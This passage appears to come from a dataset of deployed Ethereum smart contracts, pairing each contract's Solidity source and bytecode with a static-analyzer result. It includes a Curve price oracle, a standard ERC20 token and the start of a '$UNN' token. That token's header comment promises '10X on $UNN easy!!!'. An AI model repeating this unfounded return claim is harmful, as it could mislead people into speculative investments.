function add_liquidity(uint[4] calldata, uint) external;
function remove_liquidity(uint, uint[2] calldata) external;
function remove_liquidity(uint, uint[3] calldata) external;
function remove_liquidity(uint, uint[4] calldata) external;
function remove_liquidity_imbalance(uint[2] calldata, uint) external;
function remove_liquidity_imbalance(uint[3] calldata, uint) external;
function remove_liquidity_imbalance(uint[4] calldata, uint) external;
function remove_liquidity_one_coin(
uint,
int128,
uint
) external;
function get_virtual_price() external view returns (uint);
}
// Part: ICurveRegistry
interface ICurveRegistry {
function get_n_coins(address lp) external view returns (uint, uint);
function pool_list(uint id) external view returns (address);
function get_coins(address pool) external view returns (address[8] memory);
function get_gauges(address pool) external view returns (address[10] memory, uint128[10] memory);
function get_lp_token(address pool) external view returns (address);
function get_pool_from_lp_token(address lp) external view returns (address);
}
// Part: IERC20Decimal
interface IERC20Decimal {
function decimals() external view returns (uint8);
}
// Part: OpenZeppelin/[email protected]/SafeMath
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// Part: UsingBaseOracle
contract UsingBaseOracle {
IBaseOracle public immutable base; // Base oracle source
constructor(IBaseOracle _base) public {
base = _base;
}
}
// File: CurveOracle.sol
contract CurveOracle is UsingBaseOracle, IBaseOracle {
using SafeMath for uint;
ICurveRegistry public immutable registry; // Curve registry
struct UnderlyingToken {
uint8 decimals; // token decimals
address token; // token address
}
mapping(address => UnderlyingToken[]) public ulTokens; // Mapping from LP token to underlying tokens
mapping(address => address) public poolOf; // Mapping from LP token to pool
constructor(IBaseOracle _base, ICurveRegistry _registry) public UsingBaseOracle(_base) {
registry = _registry;
}
/// @dev Register the pool given LP token address and set the pool info.
/// @param lp LP token to find the corresponding pool.
function registerPool(address lp) external {
address pool = poolOf[lp];
require(pool == address(0), 'lp is already registered');
pool = registry.get_pool_from_lp_token(lp);
require(pool != address(0), 'no corresponding pool for lp token');
poolOf[lp] = pool;
(uint n, ) = registry.get_n_coins(pool);
address[8] memory tokens = registry.get_coins(pool);
for (uint i = 0; i < n; i++) {
ulTokens[lp].push(
UnderlyingToken({token: tokens[i], decimals: IERC20Decimal(tokens[i]).decimals()})
);
}
}
/// @dev Return the value of the given input as ETH per unit, multiplied by 2**112.
/// @param lp The ERC-20 LP token to check the value.
function getETHPx(address lp) external view override returns (uint) {
address pool = poolOf[lp];
require(pool != address(0), 'lp is not registered');
UnderlyingToken[] memory tokens = ulTokens[lp];
uint minPx = uint(-1);
uint n = tokens.length;
for (uint idx = 0; idx < n; idx++) {
UnderlyingToken memory ulToken = tokens[idx];
uint tokenPx = base.getETHPx(ulToken.token);
if (ulToken.decimals < 18) tokenPx = tokenPx.div(10**(18 - uint(ulToken.decimals)));
if (ulToken.decimals > 18) tokenPx = tokenPx.mul(10**(uint(ulToken.decimals) - 18));
if (tokenPx < minPx) minPx = tokenPx;
}
require(minPx != uint(-1), 'no min px');
// use min underlying token prices
return minPx.mul(ICurvePool(pool).get_virtual_price()).div(1e18);
}
}
|
0x608060405234801561001057600080fd5b50600436106100625760003560e01c80635001f3b5146100675780637b1039991461008b578063988b1fa714610093578063a4052dec146100b9578063ab9aadfe1461010a578063abd9084614610142575b600080fd5b61006f61016a565b604080516001600160a01b039092168252519081900360200190f35b61006f61018e565b61006f600480360360208110156100a957600080fd5b50356001600160a01b03166101b2565b6100e5600480360360408110156100cf57600080fd5b506001600160a01b0381351690602001356101cd565b6040805160ff90931683526001600160a01b0390911660208301528051918290030190f35b6101306004803603602081101561012057600080fd5b50356001600160a01b031661020b565b60408051918252519081900360200190f35b6101686004803603602081101561015857600080fd5b50356001600160a01b03166104ff565b005b7f0000000000000000000000006be987c6d72e25f02f6f061f94417d83a6aa13fc81565b7f0000000000000000000000007d86446ddb609ed0f5f8684acf30380a356b2b4c81565b6001602052600090815260409020546001600160a01b031681565b600060205281600052604060002081815481106101e657fe5b60009182526020909120015460ff8116925061010090046001600160a01b0316905082565b6001600160a01b0380821660009081526001602052604081205490911680610271576040805162461bcd60e51b81526020600482015260146024820152731b1c081a5cc81b9bdd081c9959da5cdd195c995960621b604482015290519081900360640190fd5b6001600160a01b038316600090815260208181526040808320805482518185028101850190935280835260609492939192909184015b828210156102ee576000848152602090819020604080518082019091529084015460ff8116825261010090046001600160a01b0316818301528252600190920191016102a7565b50508251929350600019929150600090505b81811015610430576103106109ae565b84828151811061031c57fe5b6020026020010151905060007f0000000000000000000000006be987c6d72e25f02f6f061f94417d83a6aa13fc6001600160a01b031663ab9aadfe83602001516040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561039957600080fd5b505afa1580156103ad573d6000803e3d6000fd5b505050506040513d60208110156103c357600080fd5b50518251909150601260ff90911610156103f05781516103ed90829060ff16601203600a0a6108e5565b90505b6012826000015160ff16111561041a57815161041790829060ff1660111901600a0a61094e565b90505b84811015610426578094505b5050600101610300565b50600019821415610474576040805162461bcd60e51b81526020600482015260096024820152680dcde40dad2dc40e0f60bb1b604482015290519081900360640190fd5b6104f5670de0b6b3a76400006104ef866001600160a01b031663bb7b8b806040518163ffffffff1660e01b815260040160206040518083038186803b1580156104bc57600080fd5b505afa1580156104d0573d6000803e3d6000fd5b505050506040513d60208110156104e657600080fd5b5051859061094e565b906108e5565b9695505050505050565b6001600160a01b0380821660009081526001602052604090205416801561056d576040805162461bcd60e51b815260206004820152601860248201527f6c7020697320616c726561647920726567697374657265640000000000000000604482015290519081900360640190fd5b7f0000000000000000000000007d86446ddb609ed0f5f8684acf30380a356b2b4c6001600160a01b031663bdf475c3836040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b1580156105da57600080fd5b505afa1580156105ee573d6000803e3d6000fd5b505050506040513d602081101561060457600080fd5b505190506001600160a01b03811661064d5760405162461bcd60e51b81526004018080602001828103825260228152602001806109e56022913960400191505060405180910390fd5b6001600160a01b0382811660009081526001602052604080822080546001600160a01b031916858516908117909155815163940494f160e01b81526004810191909152815192937f0000000000000000000000007d86446ddb609ed0f5f8684acf30380a356b2b4c169263940494f192602480840193919291829003018186803b1580156106da57600080fd5b505afa1580156106ee573d6000803e3d6000fd5b505050506040513d604081101561070457600080fd5b505190506107106109c5565b7f0000000000000000000000007d86446ddb609ed0f5f8684acf30380a356b2b4c6001600160a01b0316639ac90d3d846040518263ffffffff1660e01b815260040180826001600160a01b031681526020019150506101006040518083038186803b15801561077e57600080fd5b505afa158015610792573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506101008110156107b857600080fd5b50905060005b828110156108de57600080866001600160a01b03166001600160a01b03168152602001908152602001600020604051806040016040528084846008811061080157fe5b60200201516001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561083e57600080fd5b505afa158015610852573d6000803e3d6000fd5b505050506040513d602081101561086857600080fd5b505160ff16815260200184846008811061087e57fe5b602090810291909101516001600160a01b03908116909252835460018082018655600095865294829020845191018054949092015160ff1990941660ff90911617610100600160a81b0319166101009390921692909202179055016107be565b5050505050565b600080821161093b576040805162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b81838161094457fe5b0490505b92915050565b60008261095d57506000610948565b8282028284828161096a57fe5b04146109a75760405162461bcd60e51b8152600401808060200182810382526021815260200180610a076021913960400191505060405180910390fd5b9392505050565b604080518082019091526000808252602082015290565b604051806101000160405280600890602082028036833750919291505056fe6e6f20636f72726573706f6e64696e6720706f6f6c20666f72206c7020746f6b656e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a2646970667358221220153cc5e187f5f819e4c7aa499ce720ce13fb64bfb119de3263589ac655613aaa64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 2,477 |
0x6e0dade58d2d89ebbe7afc384e3e4f15b70b14d8
|
pragma solidity 0.6.6;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _owner;
/**
* @dev Sets the values for {name}, {symbol} and {supplyInMil}, initializes {decimals} with
* a default value of 18.
*
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol,uint256 supplyInMil) public {
_name = name;
_symbol = symbol;
_decimals = 18;
//1000000000000000000 = 1 token
//100,000,000 = 100 milion
_balances[msg.sender]= 1000000000000000000 * 1000000 * supplyInMil;
_totalSupply =1000000000000000000 * 1000000 * supplyInMil;
_owner=msg.sender;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
function isOwner() public view returns (bool) {
if(msg.sender==_owner){
return true;
} else{
return false;
}
}
function changeOwner(address newOwner) public virtual{
require(msg.sender==_owner, "Only the owner can change owner.");
_owner=newOwner;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806370a082311161008c578063a457c2d711610066578063a457c2d714610261578063a6f9dae11461028d578063a9059cbb146102b5578063dd62ed3e146102e1576100cf565b806370a082311461022b5780638f32d59b1461025157806395d89b4114610259576100cf565b806306fdde03146100d4578063095ea7b31461015157806318160ddd1461019157806323b872dd146101ab578063313ce567146101e157806339509351146101ff575b600080fd5b6100dc61030f565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101165781810151838201526020016100fe565b50505050905090810190601f1680156101435780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561016757600080fd5b506001600160a01b0381351690602001356103a6565b604080519115158252519081900360200190f35b6101996103bc565b60408051918252519081900360200190f35b61017d600480360360608110156101c157600080fd5b506001600160a01b038135811691602081013590911690604001356103c2565b6101e9610431565b6040805160ff9092168252519081900360200190f35b61017d6004803603604081101561021557600080fd5b506001600160a01b03813516906020013561043a565b6101996004803603602081101561024157600080fd5b50356001600160a01b0316610476565b61017d610491565b6100dc6104bc565b61017d6004803603604081101561027757600080fd5b506001600160a01b03813516906020013561051d565b6102b3600480360360208110156102a357600080fd5b50356001600160a01b0316610572565b005b61017d600480360360408110156102cb57600080fd5b506001600160a01b0381351690602001356105fe565b610199600480360360408110156102f757600080fd5b506001600160a01b038135811691602001351661060b565b60038054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561039b5780601f106103705761010080835404028352916020019161039b565b820191906000526020600020905b81548152906001019060200180831161037e57829003601f168201915b505050505090505b90565b60006103b3338484610636565b50600192915050565b60025490565b60006103cf848484610722565b6104278433610422856040518060600160405280602881526020016109f2602891396001600160a01b038a166000908152600160209081526040808320338452909152902054919063ffffffff61088916565b610636565b5060019392505050565b60055460ff1690565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916103b3918590610422908663ffffffff61092016565b6001600160a01b031660009081526020819052604090205490565b60055460009061010090046001600160a01b03163314156104b4575060016103a3565b5060006103a3565b60048054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561039b5780601f106103705761010080835404028352916020019161039b565b60006103b3338461042285604051806060016040528060258152602001610a63602591393360009081526001602090815260408083206001600160a01b038d168452909152902054919063ffffffff61088916565b60055461010090046001600160a01b031633146105d6576040805162461bcd60e51b815260206004820181905260248201527f4f6e6c7920746865206f776e65722063616e206368616e6765206f776e65722e604482015290519081900360640190fd5b600580546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b60006103b3338484610722565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6001600160a01b03831661067b5760405162461bcd60e51b8152600401808060200182810382526024815260200180610a3f6024913960400191505060405180910390fd5b6001600160a01b0382166106c05760405162461bcd60e51b81526004018080602001828103825260228152602001806109aa6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166107675760405162461bcd60e51b8152600401808060200182810382526025815260200180610a1a6025913960400191505060405180910390fd5b6001600160a01b0382166107ac5760405162461bcd60e51b81526004018080602001828103825260238152602001806109876023913960400191505060405180910390fd5b6107b7838383610981565b6107fa816040518060600160405280602681526020016109cc602691396001600160a01b038616600090815260208190526040902054919063ffffffff61088916565b6001600160a01b03808516600090815260208190526040808220939093559084168152205461082f908263ffffffff61092016565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600081848411156109185760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156108dd5781810151838201526020016108c5565b50505050905090810190601f16801561090a5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008282018381101561097a576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122030f50c92b71f1c4f9f87a40f34411fe7dde7127dbbe87163ee4a42444a2352d964736f6c63430006060033
|
{"success": true, "error": null, "results": {}}
| 2,478 |
0x8ca21038f70d98dc9f44747e2b572ea1fc6bf937
|
//----------------------------------
//|_| |\| |\|
//Website:https://unn.fund
//10X on $UNN easy!!!
//----------------------------------
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
